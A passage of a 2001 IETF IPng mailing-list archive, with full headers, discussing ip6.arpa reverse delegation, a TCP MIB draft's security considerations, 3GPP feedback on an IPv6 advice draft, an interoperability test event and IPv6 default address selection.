10:24:01 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fB5INfNE007396 for ; Wed, 5 Dec 2001 10:23:41 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fB5INefo007395 for ipng@sunroof.eng.sun.com; Wed, 5 Dec 2001 10:23:40 -0800 (PST) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5CMBHt009056; Wed, 5 Dec 2001 04:22:11 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA27424; Wed, 5 Dec 2001 04:22:10 -0800 (PST) Received: from guardian.apnic.net (guardian.apnic.net [203.37.255.100]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA16387; Wed, 5 Dec 2001 05:22:08 -0700 (MST) Received: from hadrian.staff.apnic.net (hadrian.staff.apnic.net [192.168.1.1]) by guardian.apnic.net (8.9.3/8.9.3) with ESMTP id WAA08306; Wed, 5 Dec 2001 22:22:05 +1000 (EST) Received: from apnic.net (localhost [127.0.0.1]) by hadrian.staff.apnic.net (8.9.3/8.9.3) with ESMTP id WAA06445; Wed, 5 Dec 2001 22:22:01 +1000 (EST) To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= cc: Randy Bush , ipng@sunroof.eng.sun.com, dnsop@cafax.se, ngtrans@sunroof.eng.sun.com Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? In-reply-to: Your message of "Wed, 05 Dec 2001 12:31:38 +0900." Date: Wed, 05 Dec 2001 22:22:01 +1000 Message-ID: <6443.1007554921@apnic.net> From: George Michaelson Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > As for the registry side transition, I have another question. I saw > delegations for 2001:0200::/24 to APNIC. What is the current status > about 3ffe::/16? Is there a plan to delegate ip6.arpa. sub domains > for that block? > > JINMEI, Tatuya > Communication Platform Lab. > Corporate R&D Center, Toshiba Corp. > jinmei@isl.rdc.toshiba.co.jp > Like all the RIR, I have created stub ip6.arpa space for the APNIC allocation. If you would like to 'clone' any ip6.int records you may manage, I would be happy to assist. Maybe we can trial what should be the procedure? (I was reluctant to simply copy all existing ip6.int records over, because of the volume of lame delegations which would result. I was hoping there might be an 'early adopter' out there who can also do codemods to make the reverse lookup do the right thing.) Please contact me off-list so we can progress this, and maybe bring something more substantive back to the list(s)? I will be at IETF-52, I am happy to discuss this kind of operational issue if it helps people progress. cheers -George -- George Michaelson | APNIC Email: ggm@apnic.net | PO Box 2131 Milton QLD 4064 Phone: +61 7 3367 0490 | Australia Fax: +61 7 3367 0482 | http://www.apnic.net -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 5 10:24:30 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5IOTHt010671 for ; Wed, 5 Dec 2001 10:24:29 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB5IOTbc010670 for ipng-dist; Wed, 5 Dec 2001 10:24:29 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5IOQHt010663 for ; Wed, 5 Dec 2001 10:24:26 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fB5IO6NE007426 for ; Wed, 5 Dec 2001 10:24:06 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fB5IO6Qu007425 for ipng@sunroof.eng.sun.com; Wed, 5 Dec 2001 10:24:06 -0800 (PST) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5DGmHt009185; Wed, 5 Dec 2001 05:16:48 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA12094; Wed, 5 Dec 2001 05:16:47 -0800 (PST) Received: from birch.ripe.net (birch.ripe.net [193.0.1.96]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA09354; Wed, 5 Dec 2001 06:16:28 -0700 (MST) Received: from x22.ripe.net.ripe.net (x22.ripe.net [193.0.1.22]) by birch.ripe.net (8.11.6/8.11.6) with ESMTP id fB5D3WG21038; Wed, 5 Dec 2001 14:03:32 +0100 Date: Wed, 5 Dec 2001 14:03:32 +0100 (CET) From: Bruce Campbell X-X-Sender: To: =?X-UNKNOWN?Q?JINMEI_Tatuya=1B=28B?= cc: , , Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 5 Dec 2001, JINMEI Tatuya wrote: > > agreed. but the pain is minimal. note that, initially, the content of > > ip6.arpa is directly that of ip6.int. in fact, one could have the same > > zone file pointed to by both names. the big pain in the transition is > > that of the registries, whois, etc. and they've been working on this > > for some months. > > As for the registry side transition, I have another question. I saw > delegations for 2001:0200::/24 to APNIC. What is the current status > about 3ffe::/16? Is there a plan to delegate ip6.arpa. sub domains > for that block? This is not known, and no delegation exists in ip6.arpa for the 6bone (e.f.f.3.ip6.arpa). The focus so far in ip6.arpa delegation process has been on the RIR delegations. I have forwarded the question to the appropriate people who will be meeting during IETF-52, and an answer should be available then. ( I'm actually not attending this IETF ) One *possible* and easy solution would be to DNAME the e.f.f.3.ip6.arpa to e.f.f.3.ip6.int ( I'm ignoring technical issues of having to first delegate f.f.3.ip6.arpa to a DNAME-capable set of nameservers first ). This has the good side of preserving current functionality when the deployed resolver bas looks at ip6.arpa instead of ip6.int. It has the down side of effectively limiting 6bone to using 'ip6.int' as you cannot then DNAME back into the ip6.arpa tree. Somehow I don't think that such a restriction is what the 6bone community wants. No matter what technical tricks are down further up in the tree by the RIRs/ICANN etc, the change in the root ip6 tree *will* require *all* currently deployed delegations to make *some* sort of change. Regards, -- Bruce Campbell RIPE NCC Operations -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 5 12:53:23 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5KrMHt012080 for ; Wed, 5 Dec 2001 12:53:22 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB5KrMbf012079 for ipng-dist; Wed, 5 Dec 2001 12:53:22 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5KrJHt012072 for ; Wed, 5 Dec 2001 12:53:19 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA14428 for ; Wed, 5 Dec 2001 12:53:19 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA05605 for ; Wed, 5 Dec 2001 12:53:19 -0800 (PST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id MAA28176; Wed, 5 Dec 2001 12:53:19 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fB5KrIB19559; Wed, 5 Dec 2001 12:53:18 -0800 X-mProtect: Wed, 5 Dec 2001 12:53:18 -0800 Nokia Silicon Valley Messaging Protection Received: from charliep.iprg.nokia.com (205.226.2.89, claiming to be "iprg.nokia.com") by darkstar.iprg.nokia.com(P1.5 smtpdeRDSan; Wed, 05 Dec 2001 12:53:17 PST Message-ID: <3C0E893D.D976FC40@iprg.nokia.com> Date: Wed, 05 Dec 2001 12:53:17 -0800 From: "Charles E. Perkins" Organization: Nokia Research Center X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Pekka Savola CC: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Savola wrote: > Not every byte counts. The more bytes, the more they count. > Which is why I don't see much of a point in adding complexity to only sate > one, rather minor need (slow, high-delay links). Mobility works well with wireless links, and a lot of wireless links are just exactly as you describe. It's not a minor need -- in fact it is the precise area of application which has motivated the entire effort as best I can tell. Regards, Charlie P. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 5 19:22:04 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB63M4Ht013544 for ; Wed, 5 Dec 2001 19:22:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB63M3Bb013543 for ipng-dist; Wed, 5 Dec 2001 19:22:03 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB63LxHt013536 for ; Wed, 5 Dec 2001 19:21:59 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA07196 for ; Wed, 5 Dec 2001 19:22:00 -0800 (PST) Received: from berkshire.research.att.com (union1UBR1-5-hfc-0252-40e84946.rdc1.nj.comcastatwork.com [64.232.73.70]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA00229 for ; Wed, 5 Dec 2001 19:21:59 -0800 (PST) Received: from research.att.com (localhost [127.0.0.1]) by berkshire.research.att.com (Postfix) with ESMTP id 0F7957C18; Wed, 5 Dec 2001 19:40:24 -0500 (EST) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 From: "Steven M. Bellovin" To: Matt Mathis Cc: tsvwg@ietf.org, tsv@newdev.harvard.edu, ipng@sunroof.eng.sun.com Subject: Re: Heads up: TCP MIB extentions Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 05 Dec 2001 19:40:24 -0500 Message-Id: <20011206004024.0F7957C18@berkshire.research.att.com> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In message , Matt Ma this writes: > This message is in MIME format. The first part should be readable text, > while the remaining parts are likely unreadable without MIME-aware tools. > Send mail to mime@docserver.cac.washington.edu for more info. > >--NextPart >Content-Type: TEXT/PLAIN; CHARSET=US-ASCII >Content-ID: > >Please note the attached Internet draft announcement. It describes an extende >d >TCP MIB, designed to provide a direct way to query TCP connections to diagnose >performance problems. > >I hope to introduce this as a work item for tsvwg. The complication is >that RFC2012 is already under revision by inpnwg, mostly to update the >connection table to support IPv6 addresses. See: >http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-rfc2012-update-01.txt > >I expect that most of the discussion at the IETF will be about process. I don't speak MIB particularly well, but I think that the Security Considerations section needs to be expanded. In particular, there are more entries that need to be read-protected as well, most notably tcpEStatsDataSndNxt -- if I know that and know (or can guess) the connection 4-tuple, I can hijack the connection. --Steve Bellovin, http://www.research.att.com/~smb Full text of "Firewalls" book now at http://www.wilyhacker.com -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 6 11:10:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB6JAnHt017267 for ; Thu, 6 Dec 2001 11:10:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB6JAnBR017266 for ipng-dist; Thu, 6 Dec 2001 11:10:49 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB6JAjHt017259 for ; Thu, 6 Dec 2001 11:10:45 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA07260 for ; Thu, 6 Dec 2001 11:10:45 -0800 (PST) Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA01593 for ; Thu, 6 Dec 2001 11:10:44 -0800 (PST) Received: from eed.ericsson.se (mailhost.eed.ericsson.se [164.48.133.33]) by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id fB6JAgf15522 for ; Thu, 6 Dec 2001 20:10:42 +0100 (MET) Received: from eed.ericsson.se (3nql901g2f8ldtb.erv.ericsson.se [194.22.144.14]) by eed.ericsson.se (8.8.8+Sun/1.2.mit) with ESMTP id UAA06476 for ; Thu, 6 Dec 2001 20:10:42 +0100 (MET) Message-ID: <3C0FC2B3.7D3EC831@eed.ericsson.se> Date: Thu, 06 Dec 2001 20:10:43 +0100 From: Juan-Antonio Ibanez X-Mailer: Mozilla 4.74 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Feedback from 3GPP about draft-wasserman Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello all, Last week (26-30 November) took place the 3GPP SA2 #21 meeting in Cancun. At this occasion I presented a discussion paper introducing draft-wasserman-3gpp-advice-00.txt to the 3GPP community. This Internet-draft was generally well received, however 3GPP SA2 will wait until the IPng WG has endorsed it before deciding whether to follow any of the recommendations and introduce any changes in the 3GPP standards. Following this presentation, and to keep up the co-operation between IETF and 3GPP, we set up a small drafting group of interested people with the objective of putting forward a number of suggestions for improvement, as well as some questions about this draft, to the IPng working group. These comments are included below. (Sorry for the long email) Let me take this opportunity to congratulate the members of the IPng design team for their good and constructive job in producing this Internet-draft and also stress that a quick resolution on the acceptance of this I-D by the IPng WG is required in order to get a chance to have any necessary changes (if accepted by 3GPP) introduced in the next 3GPP release, i.e. R5, which is due for completion in March 2002 and is a major milestone for IPv6 in 3GPP. Regards, Juan General comments: ---------------- 1) It would be useful to include some description/guidelines about how IPv6 address blocks should be allocated to 3G mobile operators (i.e. what size, possibility to get additional address blocks if needed and how, etc.), in particular considering that in some countries operators with more than 100 millions subscribers, possibly using multiple "primary" PDP contexts, are foreseeable. It is probably not IPng's task to define these policies, however some hints or references to other RFCs might reveal useful for telecom operators that do not necessarily read all these RFCs. 2) Would the /64 prefix allocation preclude the use of the 6to4 transition mechanism in 3GPP? 6to4 relies on a /48 prefix, meaning that only 64k mobile nodes (or rather "primary" PDP contexts) would be allowed on a given APN that supports 6to4. Detailed comments: ----------------- 3) Section 6.5 applies to 3GPP Release 99; this should be explicitly stated, as in later releases (i.e. in Release 5) the architecture is further evolved, for instance by introducing the IP multimedia subsystem or other changes to existing procedures. 4) The APN concept is missing in section 6.5 (but is mentioned in the Appendix). "APN = Access Point Name" should also be added to the 3GPP terminology section. Suggested text: "The APN is a logical name referring to a GGSN. The APN also identifies an external network. The syntax of the APN corresponds to a fully qualified name. At PDP context activation, the SGSN performs a DNS query to find out the GGSN(s) serving the APN requested by the terminal. The DNS response contains a list of GGSN addresses from which the SGSN selects one (in a round-robin fashion)." 5) Section 6.5.2 says: "There are two kinds of PDP Contexts -- primary, and secondary". There seems to be a slight misunderstanding of the concept of multiple PDP contexts, i.e. once activated, all PDP contexts associated with the same IP address are conceptually equal; the MS can delete a "primary" PDP context and keep the "secondary" ones. But since the idea of "primary" and "secondary" PDP context provides an easy understanding of the problem it is probably good to keep this terminology. However, for a better clarity, here is some suggested rewording: In 6.5.2, "In addition, one or more secondary PDP Contexts can be added to a primary PDP Context ." Also add at the end of 3rd paragraph of 6.5.2 "Once activated, all PDP contexts have equal status, meaning that a primary PDP context can be deleted while keeping the link between the UE and the GGSN, as long as there are other (secondary) PDP contexts active for the same IP address." Still in 6.5.2 the description of Deactivate PDP Context should read "Deactivates a PDP Context. If a primary PDP Context deleted, a link between the UE and the GGSN is removed." 6) In section 6.5.3 (and other places), the last paragraph says that the IP address of the MS is used in the SGSN to identify the PDP context associated with each packet; this is not correct. Packets are tunnelled in GTP between the RNC, SGSN and GGSN and are routed based on the TEID. The IP address is only used by the GGSN to identify the PDP context; in the SGSN, the IP address can be used for charging (or legal interception) purposes. Suggested text: Add "GTP-U = GPRS Tunnelling Protocol - User plane" to the 3GPP terminology. In 6.5.1 add "GTP-U is a simple tunnelling protocol running over UDP/IP and used to route packets between RNC, SGSN and GGSN within the same, or between different, UMTS backbone(s). A GTP-U tunnel is identified at each end by a Tunnel Endpoint Identifier (TEID)." In 6.5.3, last paragraph, reword as "... so that the SGSN can know the single address of each 3GPP node (e.g. for charging purposes). This address is used to identify ..." 7) Section 7.3, second paragraph: In the second paragraph, what was the intention of "or more"? It should be clearer that the recommendation to allocate a /64 prefix to each primary PDP context is independent of whether one or multiple prefixes are allowed per PDP context (indeed, due to time constraints 3GPP might not be able to support multiple prefixes per PDP context in the coming 3GPP release, but could at least support prefix allocation). Perhaps "or more" should be put in parenthesis. 8) Section 7.3.2 also states that SGSN uses the IP address to identify the PDP contexts (see comment #6 above). The corresponding sentence should simply be removed. Also in the next to last paragraph of 10.1, the last sentence should rather read "By assigning a given prefix to only one primary PDP context, the SGSN can the PDP contexts." 9) Section 10.1, last paragraph: It is stated that the devices behind the MT can activate their own primary PDP contexts. Without entering into details, it is not the device behind the MT that activates a PDP context, but the MT itself on request from the device (or by some automatic means). Suggested text: "However this is not necessary if each device behind the MT is connected to a separate primary PDP Context ..." -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 6 11:12:47 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB6JClHt017292 for ; Thu, 6 Dec 2001 11:12:47 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB6JCk5B017291 for ipng-dist; Thu, 6 Dec 2001 11:12:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB6JChHt017284 for ; Thu, 6 Dec 2001 11:12:43 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA07597 for ; Thu, 6 Dec 2001 11:12:43 -0800 (PST) Received: from eamail1-out.unisys.com (eamail1-out.unisys.com [192.61.61.99]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA02402 for ; Thu, 6 Dec 2001 11:12:41 -0800 (PST) Received: from us-ea-gtwy-6.ea.unisys.com (us-ea-gtwy-6.ea.unisys.com [192.61.146.102]) by eamail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id TAA02493; Thu, 6 Dec 2001 19:10:06 GMT Received: by us-ea-gtwy-6.ea.unisys.com with Internet Mail Service (5.5.2653.19) id ; Thu, 6 Dec 2001 13:12:28 -0600 Message-ID: <236F133B43F4D211A4B00090273C79DC077BCE60@us-rv-exch-2.rsvl.unisys.com> From: "Sellers, Julian P" To: "'zhang hong'" Cc: ipng@sunroof.eng.sun.com Subject: RE: Sorry Re: Why not TCPng? Date: Thu, 6 Dec 2001 13:12:24 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk You have no reason to apologize. On the contrary, you are to be commended for asking a sincere question. I hope that the responses have been helpful to you. I'm sure that many other people have benefited from the question and the responses. It's OK to ask even questions that some may consider foolish, but your question was not foolish. I hope that neither you nor anyone else will be deterred from asking pertinent questions or contributing to the free exchange of information for which these lists were created. Julian Sellers -----Original Message----- From: zhang hong [mailto:zhangh@cnnic.net.cn] Sent: Tuesday, December 04, 2001 12:29 AM To: Bill Strahm Cc: ipng@sunroof.eng.sun.com Subject: Sorry Re: Why not TCPng? I'm really sorry for causing these trouble from my foolish question. Please forgive me since I'm a student and a beginner in IPv6 area. : BTW, let's finish this topic, OK? (Snip) -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 6 21:59:28 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB75xSoH020330 for ; Thu, 6 Dec 2001 21:59:28 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB75xS3f020329 for ipng-dist; Thu, 6 Dec 2001 21:59:28 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB75xOoH020315 for ; Thu, 6 Dec 2001 21:59:24 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA11956 for ; Thu, 6 Dec 2001 21:59:25 -0800 (PST) Received: from pkgate.yokogawa.co.jp (pkgate.yokogawa.co.jp [210.135.206.2]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id VAA21747 for ; Thu, 6 Dec 2001 21:59:24 -0800 (PST) Received: from nara.yokogawa.co.jp (nara.mitaka.yokogawa.co.jp [10.0.9.132]) by pkgate.yokogawa.co.jp (8.9.1/3.5Wpl5:001218) with ESMTP id OAA07621 for ; Fri, 7 Dec 2001 14:59:27 +0900 (JST) Received: from nara.yokogawa.co.jp (localhost [127.0.0.1]) by nara.yokogawa.co.jp (8.9.3/3.7W:010213) with ESMTP id OAA17254 for ; Fri, 7 Dec 2001 14:59:23 +0900 Received: from shion.mitaka.yokogawa.co.jp (root@shion.mitaka.yokogawa.co.jp [133.140.144.31]) by nara.yokogawa.co.jp (8.9.3/3.7W:010213) with ESMTP id OAA17248 for ; Fri, 7 Dec 2001 14:59:23 +0900 Received: from italy.64translator.com ([10.0.129.131]) by shion.mitaka.yokogawa.co.jp (8.8.5/3.5Wpl5:011003) with ESMTP id OAA24470 for ; Fri, 7 Dec 2001 14:59:22 +0900 (JST) Message-Id: <4.3.2-J.20011207150105.03a3e9d8@mhs.mitaka.yokogawa.co.jp> X-Sender: hm12510@muas2.mitaka.yokogawa.co.jp X-Mailer: QUALCOMM Windows Eudora Version 4.3.2-J Date: Fri, 07 Dec 2001 15:01:20 +0900 To: ipng@sunroof.eng.sun.com From: Hiroshi Miyata Subject: 3rd TAHI IPv6 Interoperability Test Event Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi all, I'm pleased to be able to announce next TAHI IPv6 test event. The 3rd TAHI IPv6 Interoperability Test Event will be held 23-26 January, 2002 at Yokohama, JAPAN. This time we are focusing on Low Cost Network Appliance as well as ROUTER and PC and WORKSTATION. Of course we also focusing on MIP6, IPsec, Routing protocol, Management, Transition, etc...! For more details, please visit our web site. TAHI Project Home Page http://www.tahi.org/ "3rd TAHI IPv6 Interoperability Test Event" announcement. http://www.tahi.org/inop/3rdinterop.html # I'm sorry if you have already receive this mail. .............................. Hiroshi MIAYTA @ TAHI Project http://www.tahi.org/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 6 22:28:37 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB76SaoH020372 for ; Thu, 6 Dec 2001 22:28:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB76SaIN020371 for ipng-dist; Thu, 6 Dec 2001 22:28:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from jurassic.eng.sun.com (jurassic [129.146.85.31] (may be forged)) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB76SWoH020364 for ; Thu, 6 Dec 2001 22:28:32 -0800 (PST) Received: from marlin.sun.com (vpn-129-150-4-119.EBay.Sun.COM [129.150.4.119]) by jurassic.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB76SWbG304518; Thu, 6 Dec 2001 22:28:33 -0800 (PST) Message-Id: <5.1.0.14.0.20011206220240.01d60170@jurassic.eng.sun.com> X-Sender: durand@jurassic.eng.sun.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Thu, 06 Dec 2001 22:29:36 -0800 To: "Richard Draves" From: Alain Durand Subject: "Default Address Selection for IPv6" Cc: In-Reply-To: <7695E2F6903F7A41961F8CF888D87EA80355FD10@red-msg-06.redmon d.corp.microsoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In preparation for SLC meeting, I'm revisiting this issue. At 03:27 PM 10/5/2001 -0700, Richard Draves wrote: > > >2. The current draft does longest prefix match on 128 bits. > > > In the case of a dual-rail network where each hosts has > > > 2 interfaces > > > > > > prefix P1/64 > > > ------------------------------------------------------ > > > | h1 | h2 |h3 > > > ------------------------------------------------------ > > > prefix P2/64 > > > > > > In this case, the choice of network 1 or network 2 depend > > > on the actual MAC address of the hosts. > > > This is a situation that is very difficult to understand/debug > > > by network administrator. > > > > > > I would like to suggest to do longest prefix match only > > on the 64 > > > most significant bits. > > >If there is some reason to prefer the P1 network over the P2 network >(maybe one is faster/better than the other?), then I think rule 7 is the >way to accomplish it. The administrator should give interfaces on the >two networks different preferences or metrics. > >I'm a bit reluctant to build in the constant 64. Admittedly it's already >a magic number for IPv6, but I'm not excited about embedding knowledge >of it in yet another place. > >If we do change the draft to cut-off longest-prefix matching at 64 bits, >then it would not necessarily lead to predictable behavior in your >scenario. The choice of P1 vs P2 would then come down to the order in >which destination addresses 